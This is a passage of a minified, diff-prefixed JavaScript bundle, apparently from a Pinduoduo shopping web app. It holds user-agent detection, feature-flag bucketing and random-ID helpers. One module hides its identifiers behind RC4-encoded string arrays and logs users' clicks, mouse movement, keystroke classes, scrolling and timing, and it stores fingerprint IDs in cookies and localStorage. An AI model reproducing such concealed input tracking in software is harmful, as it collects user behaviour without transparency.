if ((t -= (e += """").length) <= 0) + return e; + if (n || 0 === n || (n = "" ""), + "" "" == (n += """") && t < 10) + return r[t] + e; + for (var a = """"; 1 & t && (a += n), + t >>= 1;) + n += n; + return a + e + }; + var r = ["""", "" "", "" "", "" "", "" "", "" "", "" "", "" "", "" "", "" ""] + }, + function(e, t, n) { + (function(e) { + var t, r, a = ""function"" == typeof Symbol && ""symbol"" == typeof Symbol.iterator ? function(e) { + return typeof e + } : function(e) { + return e && ""function"" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? ""symbol"" : typeof e + }, + i = n(2), + o = n(19), + s = n(20), + c = [""V8KTwojCuhw="", ""woPCssOGwq0i"", ""wrhsCcOQUg=="", ""wocXQ1Eu"", ""MsKzGMOzwok="", ""VsOGXcKbHGM="", ""GHYPwrHDkA=="", ""dFIKwo9F"", ""wpfDpsOKdXs="", ""w5slwojCjsOY"", ""w4oJWGjCoUA="", ""dMOVIhdxMsKEwqsaYw=="", ""wpLClcKPSgY="", ""w4JEwrLDjUw="", ""d8OOw7LDjMO1"", ""wrfDpcOia03CvcOA"", ""w54GwrTCj8KZ"", ""MMO3wrXCsSc="", ""wrlJJMOudAU="", ""wrHDr8OHd1zCu8OXAcOyXsK/"", ""ChnCocO7woM="", ""KnLCimjDlQ=="", ""JsKra8O7wqEKw50="", ""wq4Uf2A+"", ""wq8pX1lC"", ""SsOmcHTDmsKZ"", ""w4LDo8OaPTE="", ""UHl3bMOPwqbCsw=="", ""fGwIPTo="", ""w6FvwrPDvGvDmsO2"", ""TyE8aX4="", ""w6w4w78KJg=="", ""Dh/ChcO7wpQ="", ""fcOvd8KfDw=="", ""w6s/wojChsOj"", ""w6TCr8O3SMOz"", ""W8K+wps="", ""WGMQ"", ""w6s/wqvCgMK5"", ""w4LCpw0="", ""woHCssKFbxA="", ""w6bCjcOKw6F2w7k1"", ""KHXDhnbDhA=="", ""w7/CtMOiwqrDkEDCusOPw5I="", ""SwIKW3TCrzvChcKIw4bCjw4="", ""cBYwLwHDnA=="", ""HxzChMOnwp99eTc="", ""XcOtw4jDrsOXwpU="", ""w5IKw5jDv14uwqnCoMKH"", ""woPCq2Ezw6cHwpQDWw=="", ""SUoKwrZLFBTDhcOsDA=="", ""worDvMKHKMKvw4wRwq0="", ""Y8K9wp/CozI3w7nCl8Kg"", ""MVvCq2jDh03CllfClig="", ""L8KvccOHwooDw58iw4QE"", ""wqw8Rw=="", ""TnMBCTY=""]; + t = c, + r = 384, + function(e) { + for (; --e;) + t.push(t.shift()) + }(++r); + var u = function e(t, n) { + var r, a = c[t -= 0]; + void 0 === e.KCtMit && ((r = function() { + var e; + try { + e = Function('return (function() {}.constructor(""return this"")( ));')() + } catch (t) { + e = window + } + return e + }()).atob || (r.atob = function(e) { + for (var t, n, r = String(e).replace(/=+$/, """"), a = 0, i = 0, o = """"; n = r.charAt(i++); ~n && (t = a % 4 ? 64 * t + n : n, + a++ % 4) ? o += String.fromCharCode(255 & t >> (-2 * a & 6)) : 0) + n = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(n); + return o + }), + e.FZsOiB = function(e, t) { + for (var n, r = [], a = 0, i = """", o = """", s = 0, c = (e = atob(e)).length; s < c; s++) + o += ""%"" + (""00"" + e.charCodeAt(s).toString(16)).slice(-2); + e = decodeURIComponent(o); + for (var u = 0; u < 256; u++) + r[u] = u; + for (u = 0; u < 256; u++) + a = (a + r[u] + t.charCodeAt(u % t.length)) % 256, + n = r[u], + r[u] = r[a], + r[a] = n; + u = 0, + a = 0; + for (var l = 0; l < e.length; l++) + a = (a + r[u = (u + 1) % 256]) % 256, + n = r[u], + r[u] = r[a], + r[a] = n, + i += String.fromCharCode(e.charCodeAt(l) ^ r[(r[u] + r[a]) % 256]); + return i + }, + e.cluYiQ = {}, + e.KCtMit = !0); + var i = e.cluYiQ[t]; + return void 0 === i ? (void 0 === e.bCfgTb && (e.bCfgTb = !0), + a = e.FZsOiB(a, n), + e.cluYiQ[t] = a) : a = i, + a + }, + l = u(""0x0"", ""ntY7""), + p = u(""0x1"", ""JrsF""), + d = u(""0x2"", ""Nb3z""), + h = u(""0x3"", ""Rf!t""), + f = u(""0x4"", ""mD42""), + m = u(""0x5"", ""N)2u""), + g = void 0; + (""undefined"" == typeof window ? ""undefined"" : a(window)) !== u(""0x6"", ""r6Y5"") && (g = window); + var v = {}; + + function _() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : Date[u(""0xd"", ""^Woj"")](), + t = {}; + t[u(""0xe"", ""i4d$"")] = function(e, t) { + return e(t) + }, + t[u(""0xf"", ""gr2A"")] = function(e) { + return e() + }, + t[u(""0x10"", ""*zVW"")] = function(e, t) { + return e % t + }, + t[u(""0x11"", ""&y$G"")] = function(e, t, n, r) { + return e(t, n, r) + }, + t[u(""0x12"", ""^Woj"")] = function(e, t) { + return e(t) + }, + t[u(""0x13"", ""u3k%"")] = u(""0x14"", ""a5aM""); + var n = t[u(""0x15"", ""h8$#"")](String, e)[l](0, 10), + r = t[u(""0x16"", ""O!*I"")](o), + a = t[u(""0x17"", ""xEb*"")]((n + ""_"" + r)[u(""0x18"", ""@tpF"")]("""")[u(""0x19"", ""zy&1"")](function(e, t) { + return e + t[u(""0x1a"", ""1Ot^"")](0) + }, 0), 1e3), + c = t[u(""0x1b"", ""MQjI"")](s, t[u(""0x1c"", ""h7#G"")](String, a), 3, ""0""); + return i[t[u(""0x1d"", ""N)2u"")]]("""" + n + c)[u(""0x1e"", ""xEb*"")](/=/g, """") + ""_"" + r + } + + function b(e) { + var t = {}; + return t[u(""0x1f"", ""kiyP"")] = function(e, t) { + return e + t + }, + t[u(""0x20"", ""lMXs"")](e[u(""0x21"", ""&y$G"")](0)[u(""0x22"", ""xEb*"")](), e[l](1)) + } + v[u(""0x7"", ""4muE"")] = function(e, t) { + var n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : 9999, + r = { + YPKgD: function(e, t) { + return e + t + }, + Qobpb: function(e, t) { + return e + t + }, + zYyvz: function(e, t) { + return e * t + }, + CRlXS: function(e, t) { + return e * t + }, + uaKBz: function(e, t) { + return e * t + }, + uppDx: function(e, t) { + return e * t + }, + tPqOx: u(""0x8"", ""t[c*""), + TIWkm: function(e, t) { + return e + t + }, + lWMjy: function(e, t) { + return e + t + }, + pFeqw: function(e, t) { + return e + t + }, + gEuJM: function(e, t) { + return e + t + }, + EiVfR: function(e, t) { + return e || t + }, + eghGf: u(""0x9"", ""OCqU"") + }; + e = r.YPKgD(""_"", e); + var a = """"; + if (n) { + var i = new Date; + i.setTime(r.Qobpb(i.getTime(), r.zYyvz(r.CRlXS(r.uaKBz(r.uppDx(n, 24), 60), 60), 1e3))), + a = r.Qobpb(r.tPqOx, i.toUTCString()) + } + g[f][h] = r.TIWkm(r.lWMjy(r.pFeqw(r.gEuJM(e, ""=""), r.EiVfR(t, """")), a), r.eghGf) + }, + v[u(""0xa"", ""gr2A"")] = function(e) { + for (var t = function(e, t) { + return e + t + }, n = function(e, t) { + return e < t + }, r = function(e, t) { + return e === t + }, a = t(e = t(""_"", e), ""=""), i = g[f][h].split("";""), o = 0; n(o, i[m]); o++) { + for (var s = i[o]; r(s.charAt(0), "" "");) + s = s[p](1, s[m]); + if (r(s.indexOf(a), 0)) + return s[p](a[m], s[m]) + } + return null + }, + v[u(""0xb"", ""Y0xB"")] = function(e, t) { + e = ""_"" + e, + g[d].setItem(e, t) + }, + v[u(""0xc"", ""p1*h"")] = function(e) { + return e = ""_"" + e, + g[d].getItem(e) + }, + e[u(""0x38"", ""0*oo"")] = function() { + var e = {}; + e[u(""0x23"", ""mD42"")] = function(e, t) { + return e(t) + }, + e[u(""0x24"", ""Y0xB"")] = u(""0x25"", ""p1*h""), + e[u(""0x26"", ""^Woj"")] = function(e) { + return e() + }, + e[u(""0x27"", ""pbix"")] = u(""0x28"", ""iUoE""), + e[u(""0x29"", ""!6Xj"")] = u(""0x2a"", ""irmM""), + e[u(""0x2b"", ""i4d$"")] = u(""0x2c"", ""h7#G""); + var t = e[u(""0x2d"", ""Nb3z"")], + n = {}, + r = e[u(""0x2e"", ""Ki)t"")](_); + return [e[u(""0x2f"", ""mD42"")], e[u(""0x30"", ""a5aM"")]][e[u(""0x31"", ""@tpF"")]](function(a) { + try { + var i = u(""0x32"", ""bgUH"") + a + u(""0x33"", ""gr2A""); + n[i] = v[u(""0x34"", ""i4d$"") + e[u(""0x35"", ""kiyP"")](b, a)](t), + n[i] || (v[u(""0x36"", ""v1(V"") + e[u(""0x37"", ""MQjI"")](b, a)](t, r), + n[i] = r) + } catch (e) {} + }), + n + } + }).call(this, n(0)(e)) + }, + function(e, t) { + e.exports = function(e) { + e = e || 21; + for (var t = """"; 0 < e--;) + t += ""_~varfunctio0125634789bdegjhklmpqswxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"" [64 * Math.random() | 0]; + return t + } + }, + function(e, t, n) { + ""use strict""; + e.exports = function(e, t, n) { + if (""string"" != typeof e) + throw new Error(""The string parameter must be a string.""); + if (e.length < 1) + throw new Error(""The string parameter must be 1 character or longer.""); + if (""number"" != typeof t) + throw new Error(""The length parameter must be a number.""); + if (""string"" != typeof n && n) + throw new Error(""The character parameter must be a string.""); + var r = -1; + for (t -= e.length, + n || 0 === n || (n = "" ""); ++r < t;) + e += n; + return e + } + }, + function(e, t, n) { + (function(e, t) { + var r, a, i = ""function"" == typeof Symbol && ""symbol"" == typeof Symbol.iterator ? function(e) { + return typeof e + } : function(e) { + return e && ""function"" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? ""symbol"" : typeof e + }, + o = n(2), + s = [""csOmLcOXJX7DinE="", ""w6xbwoc7wqs="", ""aU56OljDoA=="", ""ZBDDoS7Dow=="", ""QQLDl3Bfw7vCn8OKwpw="", ""w5BGwrzDtRQ="", ""RwjDm3ZK"", ""aDzCl2kK"", ""wrXDlCIow4I="", ""w7Vxw5XDk8O1"", ""w5lhw48G"", ""w6lVHmQdwp0Lew=="", ""DlHCvzTDvykewp1N"", ""w4F+wocDwo7ChcKsZnbDsA=="", ""Txgow6A="", ""w4Buw4UZEA=="", ""I8O/wppXJsK+wos="", ""Y8KLAzBnw4XDgQ=="", ""worCqHk0w4NXwoYzOHjDhBAmE8Kz"", ""OBw+w5hwwpjCtcO7IQ=="", ""TyIV"", ""bEXCpsOOwqzDlw=="", ""wrjDjFZ2wpw="", ""SMOaScKXLMOmwpw0wpEIwqs="", ""wrHDogpQNxLCm20CdMOXw4cqGmXDug=="", ""wrTDqQ1gLBLCm20="", ""L3k5QxrDlVVvDg=="", ""dMOFw5ISw58jwoM="", ""X8OFAMO3FE/DnA=="", ""wrXDqgt4JBnCgVAq"", ""w5xqw4gVKhg="", ""XBYlw6h+bg=="", ""GBA7woRGwpXDgQ=="", ""VgDCgVg="", ""RwPCi8ON"", ""VgzCm8OJdhR7Tg8="", ""w4xFbcKo"", ""wqzDgW7DvVM="", ""w7XDrsO1"", ""S3ATcjI="", ""VcOHAMOm"", ""BsOZa25WwoxQw65tw5bDnQ=="", ""UMOaRMKY"", ""JMK3wqTChMOt"", ""wo7DvH3DjA=="", ""McO7w49Iwr7Do8KaUXnCqMO/"", ""w7FTw4nDs8O1Jg=="", ""w6MawptZ"", ""w7hFesKmCQ=="", ""ScOVTsKH"", ""T8K7GyVyw4BgwrdmwpJX"", ""cHUuw6U="", ""wpfDs3fDk0o="", ""HsOGwoVk"", ""NHMcwqnCkzx5w63Cqj8v"", ""B8OJwo97"", ""f8Kew4nDgMKX"", ""bMKAJSt7"", ""b8KdGis="", ""SsOIccKHLg=="", ""ayvDqCnDqQ=="", ""w5spw7xpwpXDoGoeFg=="", ""woV5wrzCu3g="", ""w4Ulw7t1wpzDqA=="", ""wqLCsF0Aw68="", ""TRDCi0Ut"", ""wqhsOy/DsA=="", ""bRfCj8O2Yw=="", ""w59hw4sdKwMRREM1wp3DpA=="", ""UhQ4fgk="", ""w6hdw47Dp8O1JQ54wpYq"", ""TxLCpsOqUg=="", ""H18ZawbDlEdnLcKXBm8yQQ=="", ""w5V3Bl4a"", ""wqvDh27Dn0E="", ""RFfClcOuwoQ="", ""e1XChMOlwoQ="", ""EmcCwpfCjA=="", ""w7EvworCqsKM"", ""e8OZw6Ixw7M="", ""DsOAwoDCpA=="", ""wp7Cpnkq"", ""akxrPg=="", ""w7VTw5jDv8Oe"", ""wp7Cpnkqw6A="", ""Dh4qwqpp"", ""wqDDpw1+Dw=="", ""w4d8wpQ=""]; + r = s, + a = 458, + function(e) { + for (; --e;) + r.push(r.shift()) + }(++a); + var c = function e(t, n) { + var r = s[t -= 0]; + void 0 === e.tasYjU && (function() { + var e; + try { + e = Function('return (function() {}.constructor(""return this"")( ));')() + } catch (t) { + e = window + } + e.atob || (e.atob = function(e) { + for (var t, n, r = String(e).replace(/=+$/, """"), a = 0, i = 0, o = """"; n = r.charAt(i++); ~n && (t = a % 4 ? 64 * t + n : n, + a++ % 4) ? o += String.fromCharCode(255 & t >> (-2 * a & 6)) : 0) + n = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(n); + return o + }) + }(), + e.DuPSzy = function(e, t) { + for (var n, r = [], a = 0, i = """", o = """", s = 0, c = (e = atob(e)).length; s < c; s++) + o += ""%"" + (""00"" + e.charCodeAt(s).toString(16)).slice(-2); + e = decodeURIComponent(o); + for (var u = 0; u < 256; u++) + r[u] = u; + for (u = 0; u < 256; u++) + a = (a + r[u] + t.charCodeAt(u % t.length)) % 256, + n = r[u], + r[u] = r[a], + r[a] = n; + u = 0, + a = 0; + for (var l = 0; l < e.length; l++) + a = (a + r[u = (u + 1) % 256]) % 256, + n = r[u], + r[u] = r[a], + r[a] = n, + i += String.fromCharCode(e.charCodeAt(l) ^ r[(r[u] + r[a]) % 256]); + return i + }, + e.JdsPIo = {}, + e.tasYjU = !0); + var a = e.JdsPIo[t]; + return void 0 === a ? (void 0 === e.QsqjJN && (e.QsqjJN = !0), + r = e.DuPSzy(r, n), + e.JdsPIo[t] = r) : r = a, + r + }, + u = c(""0x0"", ""7K)@""), + l = c(""0x1"", ""7[gJ""), + p = c(""0x2"", ""PF%U""), + d = c(""0x3"", ""iSZC""), + h = c(""0x4"", ""oAdc""), + f = c(""0x5"", ""#Sbo""), + m = c(""0x6"", ""ZuP7""), + g = c(""0x7"", ""ZuP7""), + v = c(""0x8"", ""sm(h""), + _ = c(""0x9"", ""y2td""), + b = c(""0xa"", ""izto""), + y = c(""0xb"", ""ZuP7""), + w = c(""0xc"", ""TH62""), + S = c(""0xd"", ""I1ZG""), + C = c(""0xe"", ""N3C4""), + A = c(""0xf"", ""&ocm""), + I = c(""0x10"", ""#CqR""), + k = 0, + E = void 0, + T = void 0; + + function N(e) { + var t = {}; + return t[c(""0x13"", ""x%oX"")] = c(""0x14"", ""6@gH""), + o[t[c(""0x15"", ""Vnfv"")]](e[w])[S](e) + } + (""undefined"" == typeof window ? ""undefined"" : i(window)) !== c(""0x11"", ""#CqR"") && (E = window, + T = window[c(""0x12"", ""THQC"")]); + var x = {}; + x[c(""0x16"", ""izto"")] = function() { + this[I] = [] + }, + x[c(""0x17"", ""Zpl4"")] = function() { + var e = {}, + t = E[g][u][l] || E[g].body[l]; + (function(e, t) { + return e > t + })(t, 0) && (e[l] = t, + e[v] = function(e, t) { + return e - t + }(T[p](), k), + this[I][A](e)), + function(e, t) { + return e > t + }(this[I][w], 5) && this[I].shift() + }, + x[c(""0x18"", ""#Sbo"")] = function() { + var e = [][S](o.es(""zc"")); + return this[I][C](function(t) { + e = e[S](o.en(t[l]), o.en(t[v])) + }), + N(e) + }, + x[c(""0x19"", ""C44F"")] = function() { + if (!this[I][w]) + return []; + var e = [][S](o.ek(3, this[I])); + return this[I][C](function(t) { + e = e[S](o.va(t[l]), o.va(t[v])) + }), + e + }; + var O = {}; + O[c(""0x1a"", ""x%oX"")] = function() { + this[I] = [] + }, + O[c(""0x1b"", ""upcv"")] = function(e) { + var t = c(""0x1c"", ""]pyO""), + n = e || E.event, + r = n[t].id || """", + a = {}; + a[y] = r, + a[b] = n[b], + a[_] = n[_], + a[v] = function(e, t) { + return e - t + }(T[p](), k), + this[I][A](a), + function(e, t) { + return e > t + }(this[I][w], 5) && this[I].shift() + }, + O[c(""0x1d"", ""z77Q"")] = function() { + var e = [][S](o.es(""wt"")); + return this[I][C](function(t) { + e = e[S](o.en(t[b]), o.en(t[_]), o.es(t[y]), o.en(t[v])) + }), + N(e) + }, + O[c(""0x1e"", ""THQC"")] = function() { + if (!this[I][w]) + return []; + var e = [][S](o.ek(2, this[I])); + return this[I][C](function(t) { + e = e[S](o.va(t[b]), o.va(t[_]), o.va(t[v]), o.va(t[y][w]), o.sc(t[y])) + }), + e + }; + var D = {}; + D[c(""0x1f"", ""#Sbo"")] = function() { + this[I] = [] + }, + D[c(""0x20"", ""*&23"")] = function(e) { + var t = e || window.event, + n = t.keyCode || t.which; + switch (n) { + case 49: + case 65: + case 66: + case 67: + n = ""P""; + break; + case 50: + case 68: + case 69: + n = ""D""; + break; + case 51: + case 70: + case 71: + case 72: + n = ""E""; + break; + case 52: + case 73: + case 74: + n = ""R""; + break; + case 53: + case 75: + case 76: + case 77: + n = ""2""; + break; + case 54: + case 78: + case 79: + n = ""0""; + break; + case 55: + case 80: + case 81: + n = ""1""; + break; + case 56: + case 82: + case 83: + case 84: + n = ""9""; + break; + case 57: + case 85: + case 86: + case 87: + n = ""G""; + break; + case 48: + case 88: + case 89: + case 90: + n = ""O""; + break; + case 37: + case 38: + case 39: + case 40: + case 45: + case 46: + case 33: + case 34: + case 35: + case 36: + n = ""F""; + break; + case 32: + n = ""S""; + break; + default: + n = """" + } + var r = {}; + r[h] = n, + r[v] = function(e, t) { + return e - t + }(T[p](), k), + this[I][A](r), + function(e, t) { + return e > t + }(this[I][w], 5) && this[I].shift() + }, + D[c(""0x21"", ""1i$n"")] = function() { + var e = [][S](o.es(""mq"")); + return this[I][C](function(t) { + e = e[S](o.es(t[h]), o.en(t[v])) + }), + N(e) + }, + D[c(""0x22"", ""x%oX"")] = function() { + if (!this[I][w]) + return []; + var e = [][S](o.ek(6, this[I])); + return this[I][C](function(t) { + e = e[S](o.va(t[h][w]), o.sc(t[h]), o.va(t[v])) + }), + e + }; + var P = {}; + P[c(""0x23"", ""HcdT"")] = function() { + this[I] = [] + }, + P[c(""0x24"", ""(SmD"")] = function(e) { + var t = function(e, t) { + return e > t + }, + n = e || E.event, + r = {}, + a = E[g][u][l] || E[g].body[l]; + if (function(e, t) { + return e > t + }(a, 0)) { + var i = n.wheelDelta ? function(e, t) { + return e < t + }(n.wheelDelta, 0) ? 0 : 1 : n[d] ? t(n[d], 0) ? 0 : 1 : 2; + r[l] = a, + r[b] = n[b], + r[_] = n[_], + r.direction = i, + r[v] = function(e, t) { + return e - t + }(T[p](), k), + this[I][A](r) + } + t(this[I][w], 5) && this[I].shift() + }, + P[c(""0x25"", ""HcdT"")] = function() { + var e = [][S](o.es(""cz"")); + return this[I][C](function(t) { + e = e[S](o.en(t[l]), o.en(t[b]), o.en(t[_]), o.en(t.direction), o.en(t[v])) + }), + N(e) + }, + P[c(""0x26"", ""hKvJ"")] = function() { + if (!this[I][w]) + return []; + var e = [][S](o.ek(5, this[I])); + return this[I][C](function(t) { + e = e[S](o.va(t[b]), o.va(t[_]), o.va(t.direction), o.va(t[l]), o.va(t[v])) + }), + e + }; + var R = function() {}; + e[c(""0x45"", ""fdLo"")][c(""0x46"", ""izto"")] && (R = function(e) { + var t = {}; + switch (t[c(""0x47"", ""fdLo"")] = c(""0x48"", ""Jg!W""), + t[c(""0x49"", ""NDm9"")] = c(""0x4a"", ""vjJa""), + t[c(""0x4b"", ""Jnhc"")] = c(""0x4c"", ""vjJa""), + e.type) { + case t[c(""0x4d"", ""&ocm"")]: + x[f](e); + break; + case t[c(""0x4e"", ""i&wl"")]: + O[f](e); + break; + case t[c(""0x4f"", ""]pyO"")]: + D[f](e) + } + }); + var M = {}; + M[c(""0x50"", ""TH62"")] = function(e) { + k = e + }, + M[c(""0x51"", ""GMwY"")] = function() { + var e = {}; + e[c(""0x27"", ""AC2P"")] = c(""0x28"", ""AC2P""), [x, O, D, P][C](function(t) { + t[e[c(""0x29"", ""#Sbo"")]]() + }) + }, + M[c(""0x52"", ""^ReD"")] = function() { + var e = {}; + e[c(""0x2a"", ""NDm9"")] = c(""0x2b"", ""IKWj""), + e[c(""0x2c"", ""tM)k"")] = c(""0x2d"", ""IKWj""), + e[c(""0x2e"", ""7K)@"")] = c(""0x2f"", ""&ocm""), + e[c(""0x30"", ""50VW"")] = function(e, t) { + return e in t + }, + e[c(""0x31"", ""#CqR"")] = c(""0x32"", ""TH62""), + e[c(""0x33"", ""PF%U"")] = c(""0x34"", ""]pyO""), + e[c(""0x35"", ""#CqR"")] = c(""0x36"", ""sm(h""), + E[g][m](e[c(""0x37"", ""GMwY"")], O, !0), + E[g][m](e[c(""0x38"", ""x%oX"")], x, !0), + E[g][m](e[c(""0x39"", ""iSZC"")], D, !0), + e[c(""0x3a"", ""iSZC"")](e[c(""0x3b"", ""(SmD"")], E[g]) ? E[g][m](e[c(""0x3c"", ""d8n["")], P, !0) : E[g][m](e[c(""0x3d"", ""y2td"")], P, !0) + }, + M[c(""0x53"", ""fdLo"")] = function() { + [x, O, D, P][C](function(e) { + e[I] = [] + }) + }, + M[c(""0x54"", ""I1ZG"")] = function() { + return [][S](x[c(""0x3e"", ""jH2w"")](), O[c(""0x18"", ""#Sbo"")](), D[c(""0x3f"", ""7K)@"")](), P[c(""0x40"", ""Jg!W"")]()) + }, + M[c(""0x55"", ""TH62"")] = function() { + return [][S](x[c(""0x41"", ""]pyO"")](), O[c(""0x42"", ""7K)@"")](), D[c(""0x43"", ""N3C4"")](), P[c(""0x44"", ""ZuP7"")]()) + }, + M[c(""0x56"", ""gVIU"")] = R, + t[c(""0x57"", ""AC2P"")] = M + }).call(this, n(3), n(0)(e)) + } + ]) + }, + fkZF: function(e, t, n) { + ""use strict""; + + function r() { + for (var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 21, t = """"; t.length < e;) + t += Math.random().toString(36).slice(2); + return t.slice(0, e) + } + n.d(t, ""a"", function() { + return r + }) + }, + h3qu: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return a + }), + n.d(t, ""b"", function() { + return i + }), + n.d(t, ""e"", function() { + return o + }), + n.d(t, ""i"", function() { + return s + }), + n.d(t, ""c"", function() { + return c + }), + n.d(t, ""k"", function() { + return u + }), + n.d(t, ""d"", function() { + return l + }), + n.d(t, ""f"", function() { + return d + }), + n.d(t, ""g"", function() { + return h + }), + n.d(t, ""h"", function() { + return f + }), + n.d(t, ""j"", function() { + return m + }); + var r = { + MiniProgram: /miniprogram/i, + WeChat: /MicroMessenger/i, + QQ: /QQ\/[\d\.]+\s+/i, + QQAndQzone: /(QQ\/[\d\.]+\s+)|Qzone/i, + QQApp: /QQ\//i, + Weibo: /Weibo/i, + Ios: /iphone|ipad|ipod/i, + IosVersion: /os (\d+)_(\d+)_?(\d+)?/i, + Android: /Android/i, + AndroidVersion: /Android (\d+).?(\d+)?.?(\d+)?/i, + AndroidNative: /phh_android_version/i, + IosNative: /phh_ios_version/i, + Mobile: /Android|webOS|iPhone|iPad|iPod/i, + MaJiaBaoAndroid: /mjt_version/i, + AndroidNativeVersion: /phh_android_version\/([^\s]+)\s*/i, + IosNativeVersion: /phh_ios_version\/([^\s]+)\s*/i, + MecoWebViewCore: /MecoCore\/(\d)/i, + MecoWebViewSdk: /MecoSDK\/(\d)/i + }, + a = { + Unknown: ""unknown"", + PddIOS: ""ios"", + PddAndroid: ""android"", + MaJiaBaoAndroid: ""mjtAndroid"", + PDDTinyAndorid: ""tinyAndroid"", + WeChat: ""wechat"", + Weibo: ""weibo"", + QQ: ""qq"", + QQApp: ""qqapp"", + WxApp: ""wxapp"" + }, + i = { + Android: ""android"", + IOS: ""ios"", + Unknown: ""unknown"" + }; + + function o(e, t) { + var n = t === a.PddAndroid ? r.AndroidNativeVersion : r.IosNativeVersion, + i = e.match(n); + return i && i[1] || """" + } + + function s(e) { + return r.MecoWebViewCore.test(e) && r.MecoWebViewSdk.test(e) + } + + function c(e, t) { + [e, t].forEach(function(e) { + if (""string"" != typeof e) + throw new TypeError(""Invalid argument expected string"") + }); + for (var n = function(e) { + return e.split(""."").map(function(e) { + return parseInt(e, 10) || 0 + }) + }, r = n(e), a = n(t), i = Math.max(r.length, a.length), o = 0; o < i; ++o) { + var s = r[o] || 0, + c = a[o] || 0; + if (s !== c) + return s - c + } + return 0 + } + + function u() { + return ""amcomponent:"" === window.location.protocol + } + + function l(e, t, n) { + return void 0 === e[t] && (e[t] = n), + e[t] + } + + function p() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + return r.MiniProgram.test(e) + } + + function d() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + return r.AndroidNative.test(e) ? e.includes(""app_type/tiny"") ? a.PDDTinyAndorid : a.PddAndroid : r.IosNative.test(e) ? a.PddIOS : r.WeChat.test(e) ? p(e) ? a.WxApp : a.WeChat : r.Weibo.test(e) ? a.Weibo : r.QQApp.test(e) && p(e) ? a.QQApp : r.QQAndQzone.test(e) ? a.QQ : r.MaJiaBaoAndroid.test(e) ? a.MaJiaBaoAndroid : a.Unknown + } + + function h(e) { + return r.Ios.test(e) ? i.IOS : r.Android.test(e) ? i.Android : i.Unknown + } + + function f(e) { + var t = h(e), + n = """"; + if (t === i.IOS && (n = r.IosVersion), + t === i.Android && (n = r.AndroidVersion), + n) { + var a = e.match(n); + return (a ? [a[1], a[2], a[3]].map(function(e) { + return e ? parseInt(e, 10) : 0 + }) : []).join(""."") + } + return """" + } + + function m() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : """"; + return r.Mobile.test(e) + } + }, + hCBO: function(e, t, n) { + ""use strict""; + n.d(t, ""a"", function() { + return r + }), + n.d(t, ""b"", function() { + return a + }); + var r = { + IMAGE: ""pdd-lazy-image"" + }, + a = { + thresholds: ""100px"" + } + }, + hQH6: function(e, t, n) { + ""use strict""; + var r = n(""J4zp""), + a = n.n(r), + i = n(""lwsE""), + o = n.n(i), + s = n(""W8MJ""), + c = n.n(s), + u = n(""cDf5""), + l = n.n(u), + p = n(""uSI5""); + var d = new(function() { + function e() { + o()(this, e), + this.data = {} + } + return c()(e, [{ + key: ""register"", + value: function(e, t) { + this.data[e] ? Object.assign(this.data[e], t) : this.data[e] = t + } + }, { + key: ""matchModel"", + value: function(e) { + var t = e.code, + n = e.uid, + r = e.model, + i = r.whiteList, + o = void 0 === i ? [] : i, + s = r.blackList, + c = void 0 === s ? [] : s, + u = (r.key, + r.range); + if (o.indexOf(n) >= 0) + return !0; + if (c.indexOf(n) >= 0) + return !1; + if (function(e) { + return ""number"" == typeof e + }(u)) + return t < u; + var l = a()(u, 2), + p = l[0], + d = l[1]; + return t >= p && t < d + } + }, { + key: ""enabled"", + value: function(e) { + (this.data[e] || (this.data[e] = {})).enabled = !0 + } + }, { + key: ""disabled"", + value: function(e) { + (this.data[e] || (this.data[e] = {})).enabled = !1 + } + }, { + key: ""isGrey"", + value: function(e) { + var t = e.name, + n = e.key, + r = e.uid, + a = this.data[t]; + if (!a) + return !1; + if (a.enabled) + return !0; + r = r || function() { + var e = 0; + if (""undefined"" == typeof window) + return e; + var t = localStorage.getItem(""0e4f9612e0fbe579"") || """"; + if (String(t).match(/[0-9]{10}/) ? e = t : t && (e = parseInt(t, 36)), !e) { + var n = document.cookie.split("";"").reduce(function(e, t) { + var n = t.split(""=""); + return e[String(n[0]).trim()] = n[1], + e + }, {}).pdd_user_id; + n && (e = parseInt(n, 10)) + } + return e + }(); + var i, o = a.salt, + s = void 0 === o ? """" : o, + c = a.bucketCount, + u = void 0 === c ? 100 : c, + d = a.defaultModel, + h = a.mode, + f = void 0 === h ? ""hash"" : h, + m = a.models, + g = void 0 === m ? [] : m; + if (function(e) { + if (""object"" !== l()(e) || null === e) + return !1; + for (var t = e; null !== Object.getPrototypeOf(t);) + t = Object.getPrototypeOf(t); + return Object.getPrototypeOf(e) === t + }(g) && (g = [g]), !r) + return !(!d || n !== d); + i = ""num"" === f ? function(e, t) { + return parseInt(e) % t + }(r, u) : function(e, t, n) { + return Object(p.b)(e, t, n) + }(u, s, r); + for (var v = 0; v < g.length; v++) { + var _ = g[v], + b = _.key, + y = this.matchModel({ + code: i, + uid: r, + model: _ + }); + if (n && y && b === n) + return !0; + if (!n && y) + return !0; + if (y && b !== n) + return !1 + } + return !(!d || n !== d) + } + }]), + e + }()); + t.a = d + }, + hfGb: function(e, t, n) { + ""use strict""; + (function(e) { + var r = n(""b5fu""), + a = n(""9vQ7""), + i = n(""uf4C""), + o = n(""Fcpp""), + s = i.a.getInstance(), + c = { + unknown: 0, + wifi: 1, + ""2g"": 2, + ""3g"": 3, + ""4g"": 4 + }, + u = { + getNetWorkType: function() { + var e = ""unknown""; + return new Promise(function(t, n) { + window.WeixinJSBridge && window.wx && window.wx.getNetworkType ? window.wx.ready(function() { + window.wx.getNetworkType({ + success: function(n) { + n && n.networkType && (e = n.networkType), + t(e) + }, + fail: function() { + t(e) + } + }) + }) : (navigator && navigator.connection && (e = navigator.connection.type || ""unknown""), + t(e)) + }) + }, + tracking: function() { + var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = { + 1: 1, + 2: .5, + 4: .25, + 5: .2, + 10: .1 + }, + i = 